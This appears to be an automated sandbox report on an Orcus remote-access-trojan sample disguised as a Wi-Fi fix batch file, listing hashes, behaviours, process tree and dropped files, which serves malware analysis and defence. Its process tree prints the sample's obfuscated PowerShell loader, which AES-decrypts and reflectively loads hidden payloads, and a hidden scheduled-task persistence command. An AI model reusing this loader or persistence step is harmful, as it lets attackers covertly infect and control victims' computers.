orcus | 31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4

Analysis

max time kernel
147s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20240412-en
resource tags

arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
submitted
23/04/2024, 13:04

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General

Target
wlanfixer.bat
Size 3.5MB
Sample240423-qa4f5age73
SHA256 31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4
MD5 45730c9d81cdc2677ea2bd082eb79edb
SHA1 7ece7b975ab6506d83dac94f685e2cedbe56dd6b
SHA512 d4504b96971c71e38207b56ada95f5e78f8536aaa88a3cbeebaa16627ff548f620672c0d4c61e74707fdc2662ec99584b5dc8d6e3fa1b7056f9595531422b687
SSDEEP 49152:mR8s3zr/pxAN80OHguszxrEC/agxlnUrLvlKNNwI:d
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

orcus rat spyware stealer

Malware Config

Signatures

Orcus
Orcus is a Remote Access Trojan that is being sold on underground forums.
rat spyware stealer orcus

Orcurs Rat Executable 1 IoCs

resource	yara_rule
behavioral4/memory/1596-53-0x000001FCD6DE0000-0x000001FCD70DA000-memory.dmp	orcus

Blocklisted process makes network request 11 IoCs

flow	pid	Process
1	1596	powershell.exe
2	1596	powershell.exe
5	1596	powershell.exe
6	1596	powershell.exe
7	1596	powershell.exe
8	1596	powershell.exe
9	1596	powershell.exe
11	1596	powershell.exe
12	1596	powershell.exe
13	1596	powershell.exe
14	1596	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2718508534-2116753757-2794822388-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4192	powershell.exe
4192	powershell.exe
3696	powershell.exe
3696	powershell.exe
1596	powershell.exe
1596	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4192	powershell.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeIncreaseQuotaPrivilege	3696	powershell.exe
Token: SeSecurityPrivilege	3696	powershell.exe
Token: SeTakeOwnershipPrivilege	3696	powershell.exe
Token: SeLoadDriverPrivilege	3696	powershell.exe
Token: SeSystemProfilePrivilege	3696	powershell.exe
Token: SeSystemtimePrivilege	3696	powershell.exe
Token: SeProfSingleProcessPrivilege	3696	powershell.exe
Token: SeIncBasePriorityPrivilege	3696	powershell.exe
Token: SeCreatePagefilePrivilege	3696	powershell.exe
Token: SeBackupPrivilege	3696	powershell.exe
Token: SeRestorePrivilege	3696	powershell.exe
Token: SeShutdownPrivilege	3696	powershell.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeSystemEnvironmentPrivilege	3696	powershell.exe
Token: SeRemoteShutdownPrivilege	3696	powershell.exe
Token: SeUndockPrivilege	3696	powershell.exe
Token: SeManageVolumePrivilege	3696	powershell.exe
Token: 33	3696	powershell.exe
Token: 34	3696	powershell.exe
Token: 35	3696	powershell.exe
Token: 36	3696	powershell.exe
Token: SeIncreaseQuotaPrivilege	3696	powershell.exe
Token: SeSecurityPrivilege	3696	powershell.exe
Token: SeTakeOwnershipPrivilege	3696	powershell.exe
Token: SeLoadDriverPrivilege	3696	powershell.exe
Token: SeSystemProfilePrivilege	3696	powershell.exe
Token: SeSystemtimePrivilege	3696	powershell.exe
Token: SeProfSingleProcessPrivilege	3696	powershell.exe
Token: SeIncBasePriorityPrivilege	3696	powershell.exe
Token: SeCreatePagefilePrivilege	3696	powershell.exe
Token: SeBackupPrivilege	3696	powershell.exe
Token: SeRestorePrivilege	3696	powershell.exe
Token: SeShutdownPrivilege	3696	powershell.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeSystemEnvironmentPrivilege	3696	powershell.exe
Token: SeRemoteShutdownPrivilege	3696	powershell.exe
Token: SeUndockPrivilege	3696	powershell.exe
Token: SeManageVolumePrivilege	3696	powershell.exe
Token: 33	3696	powershell.exe
Token: 34	3696	powershell.exe
Token: 35	3696	powershell.exe
Token: 36	3696	powershell.exe
Token: SeIncreaseQuotaPrivilege	3696	powershell.exe
Token: SeSecurityPrivilege	3696	powershell.exe
Token: SeTakeOwnershipPrivilege	3696	powershell.exe
Token: SeLoadDriverPrivilege	3696	powershell.exe
Token: SeSystemProfilePrivilege	3696	powershell.exe
Token: SeSystemtimePrivilege	3696	powershell.exe
Token: SeProfSingleProcessPrivilege	3696	powershell.exe
Token: SeIncBasePriorityPrivilege	3696	powershell.exe
Token: SeCreatePagefilePrivilege	3696	powershell.exe
Token: SeBackupPrivilege	3696	powershell.exe
Token: SeRestorePrivilege	3696	powershell.exe
Token: SeShutdownPrivilege	3696	powershell.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeSystemEnvironmentPrivilege	3696	powershell.exe
Token: SeRemoteShutdownPrivilege	3696	powershell.exe
Token: SeUndockPrivilege	3696	powershell.exe
Token: SeManageVolumePrivilege	3696	powershell.exe
Token: 33	3696	powershell.exe
Token: 34	3696	powershell.exe
Token: 35	3696	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1596	powershell.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
1596	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 564 wrote to memory of 4192	564	cmd.exe	81
PID 564 wrote to memory of 4192	564	cmd.exe	81
PID 4192 wrote to memory of 3696	4192	powershell.exe	82
PID 4192 wrote to memory of 3696	4192	powershell.exe	82
PID 4192 wrote to memory of 2360	4192	powershell.exe	85
PID 4192 wrote to memory of 2360	4192	powershell.exe	85
PID 2360 wrote to memory of 1240	2360	WScript.exe	86
PID 2360 wrote to memory of 1240	2360	WScript.exe	86
PID 1240 wrote to memory of 1596	1240	cmd.exe	88
PID 1240 wrote to memory of 1596	1240	cmd.exe	88

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\wlanfixer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RoF8A1JenCTYvN5F1s7vRkzErCsX+lTeTh7sYe5+YqQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p+fhmC+G5ORMSHe10ZC4cg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CViub=New-Object System.IO.MemoryStream(,$param_var); $bMvnM=New-Object System.IO.MemoryStream; $IwWYG=New-Object System.IO.Compression.GZipStream($CViub, [IO.Compression.CompressionMode]::Decompress); $IwWYG.CopyTo($bMvnM); $IwWYG.Dispose(); $CViub.Dispose(); $bMvnM.Dispose(); $bMvnM.ToArray();}function execute_function($param_var,$param2_var){ $vQMJY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GYRaA=$vQMJY.EntryPoint; $GYRaA.Invoke($null, $param2_var);}$uwemL = 'C:\Users\Admin\AppData\Local\Temp\wlanfixer.bat';$host.UI.RawUI.WindowTitle = $uwemL;$WQdbL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uwemL).Split([Environment]::NewLine);foreach ($CKiFo in $WQdbL) { if ($CKiFo.StartsWith(':: ')) { $vOqbs=$CKiFo.Substring(3); break; }}$payloads_var=[string[]]$vOqbs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4192
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_816_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_816.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3696
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_816.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2360
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_816.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1240
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RoF8A1JenCTYvN5F1s7vRkzErCsX+lTeTh7sYe5+YqQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p+fhmC+G5ORMSHe10ZC4cg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CViub=New-Object System.IO.MemoryStream(,$param_var); $bMvnM=New-Object System.IO.MemoryStream; $IwWYG=New-Object System.IO.Compression.GZipStream($CViub, [IO.Compression.CompressionMode]::Decompress); $IwWYG.CopyTo($bMvnM); $IwWYG.Dispose(); $CViub.Dispose(); $bMvnM.Dispose(); $bMvnM.ToArray();}function execute_function($param_var,$param2_var){ $vQMJY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GYRaA=$vQMJY.EntryPoint; $GYRaA.Invoke($null, $param2_var);}$uwemL = 'C:\Users\Admin\AppData\Roaming\startup_str_816.bat';$host.UI.RawUI.WindowTitle = $uwemL;$WQdbL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uwemL).Split([Environment]::NewLine);foreach ($CKiFo in $WQdbL) { if ($CKiFo.StartsWith(':: ')) { $vOqbs=$CKiFo.Substring(3); break; }}$payloads_var=[string[]]$vOqbs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
MD5 df472dcddb36aa24247f8c8d8a517bd7
SHA1 6f54967355e507294cbc86662a6fbeedac9d7030
SHA512 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 648b2a209ff053ed8373fbeb61d16686daf21bd19b7f1bdf6324aa1b807a8ed0
MD5 fc96ab0084537b88924da4116fa8943e
SHA1 836ebcefd0448d4a65aa28de527cbdf566176189
SHA512 aec7cad1d3f12e915fbe6d78f8c1cea1ba79fc7c8e48584f166b911184c5dfd7c9432072093fb430907501934feaff6e4d07daeaf280bc9b3d603aac9459c05c
MD5 SHA1 SHA512

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__PSScriptPolicyTest_xae43see.tqd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xae43see.tqd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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startup_str_816.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_816.bat
Size 3.5MB
SHA256 31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4
MD5 45730c9d81cdc2677ea2bd082eb79edb
SHA1 7ece7b975ab6506d83dac94f685e2cedbe56dd6b
SHA512 d4504b96971c71e38207b56ada95f5e78f8536aaa88a3cbeebaa16627ff548f620672c0d4c61e74707fdc2662ec99584b5dc8d6e3fa1b7056f9595531422b687
SSDEEP 49152:mR8s3zr/pxAN80OHguszxrEC/agxlnUrLvlKNNwI:d
MD5 SHA1 SHA512 SSDEEP

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startup_str_816.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_816.vbs
Size 115B
SHA256 94c95a9f53a3f37f7c18ed6652d6d4e26daa77165172329cf6e8295bc9035a46
MD5 c3f65a5cc97aab9f7782b85751635c80
SHA1 10baccdc10c4a1e0626f16792825695e3ee7cc72
SHA512 f8baf91b5ae962c41a228009eb40e454876a71b9b65f37bc9a82cc76a6e29b16c7150008904f8369098d406f85cf3f587f610004ac58746e42ff6c1688d134ea
MD5 SHA1 SHA512

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memory/1596-55-0x000001FCCE820000-0x000001FCCE82E000-memory.dmp

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memory/1596-58-0x000001FCCE840000-0x000001FCCE850000-memory.dmp

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memory/1596-64-0x000001FCCE4F0000-0x000001FCCE500000-memory.dmp

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memory/1596-63-0x000001FCCE4F0000-0x000001FCCE500000-memory.dmp

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memory/1596-62-0x000001FCCE4F0000-0x000001FCCE500000-memory.dmp

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memory/1596-61-0x00007FFE6E020000-0x00007FFE6EAE2000-memory.dmp

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memory/1596-57-0x000001FCCE860000-0x000001FCCE878000-memory.dmp

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memory/1596-56-0x000001FCCE850000-0x000001FCCE862000-memory.dmp

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memory/1596-54-0x000001FCB62D0000-0x000001FCB632C000-memory.dmp

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memory/1596-53-0x000001FCD6DE0000-0x000001FCD70DA000-memory.dmp

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memory/1596-42-0x000001FCCE4F0000-0x000001FCCE500000-memory.dmp

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memory/1596-41-0x000001FCCE4F0000-0x000001FCCE500000-memory.dmp

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memory/1596-40-0x00007FFE6E020000-0x00007FFE6EAE2000-memory.dmp

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memory/3696-26-0x00000260E4890000-0x00000260E48A0000-memory.dmp

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memory/3696-27-0x00000260E4890000-0x00000260E48A0000-memory.dmp

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memory/3696-16-0x00007FFE6E020000-0x00007FFE6EAE2000-memory.dmp

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memory/3696-25-0x00000260E4890000-0x00000260E48A0000-memory.dmp

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memory/3696-28-0x00000260E4890000-0x00000260E48A0000-memory.dmp

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memory/3696-31-0x00007FFE6E020000-0x00007FFE6EAE2000-memory.dmp

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memory/4192-13-0x00000222DA0B0000-0x00000222DA0B8000-memory.dmp

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memory/4192-8-0x00000222DA700000-0x00000222DA722000-memory.dmp

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memory/4192-9-0x00007FFE6E020000-0x00007FFE6EAE2000-memory.dmp

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memory/4192-12-0x00000222DA6C0000-0x00000222DA6D0000-memory.dmp

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memory/4192-59-0x00000222DA6C0000-0x00000222DA6D0000-memory.dmp

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memory/4192-60-0x00000222DA6C0000-0x00000222DA6D0000-memory.dmp

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memory/4192-10-0x00000222DA6C0000-0x00000222DA6D0000-memory.dmp

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memory/4192-52-0x00007FFE6E020000-0x00007FFE6EAE2000-memory.dmp

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memory/4192-11-0x00000222DA6C0000-0x00000222DA6D0000-memory.dmp

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memory/4192-14-0x00000222FABE0000-0x00000222FAE88000-memory.dmp

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